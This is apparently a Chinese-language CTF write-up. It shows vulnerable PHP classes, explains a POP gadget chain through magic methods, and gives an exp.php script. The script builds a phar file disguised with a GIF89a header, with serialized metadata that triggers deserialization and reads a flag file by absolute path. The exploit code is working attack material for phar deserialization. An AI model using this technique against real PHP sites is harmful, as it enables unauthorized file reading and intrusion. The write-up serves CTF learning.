<?php
class C1e4r{
public $test;
public $str;
public function __construct($name){
$this->str = $name;}
public function __destruct(){
$this->test = $this->str;
echo $this->test;}}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;}
public function __toString(){
$content = $this->str['str']->source;
return $content;}
public function __set($key,$value){
$this->$key = $value;}
public function _show(){
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}}
public function __wakeup(){
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}}}
class Test{
public $file;
public $params;
public function __construct(){
$this->params = array();}
public function __get($key){
return $this->get($key);}
public function get($key){
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";}
return $this->file_get($value);}
public function file_get($value){
$text = base64_encode(file_get_contents($value));
return $text;}}
接下来就是读取文件了,在 Test 类的 file_get() 调用了 file_get_contents 获取文件内容,或许这就是突破口。file_get() 被调用的前提是 Test 类的实例化对象调用了未定义的属性或没有权限访问的属性,即 __get() 函数被调用
如何让 Test 类的 __get() 函数被调用,在 Show 类的 __toString() 方法中,$this->str['str']->source 访问了自己的 source 变量,这个变量 Test 类可没有,所以这就是让 $this->str['str'] 为 Test 类的实例化对象。
如何让 Show 类的 __toString() 方法被调用,可以看到在 C1e4r 中的 __destruct() 函数调用了 echo $this->test; 让 test 是 Show 类的实例化对象即可
flag 的位置在 Show 类的 _show() 函数也可以看到提示,file.php 页面的注释中也有
要注意的是读取 flag 只能用绝对路径,不能使用相对路径
exp.php
<?php
class C1e4r{
public $test;
public $str;
}
class Show{
public $source;
public $str;
}
class Test{
public $file;
public $params;
}
$a = new Test();
$a->params['source'] = "/var/www/html/f1ag.php";
$b = new Show();
$b->str['str'] = $a;
$c = new C1e4r();
$c->str = $b;
$phar = new Phar("1.phar", 0, '1.phar');
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c);
$phar->stopBuffering();
?>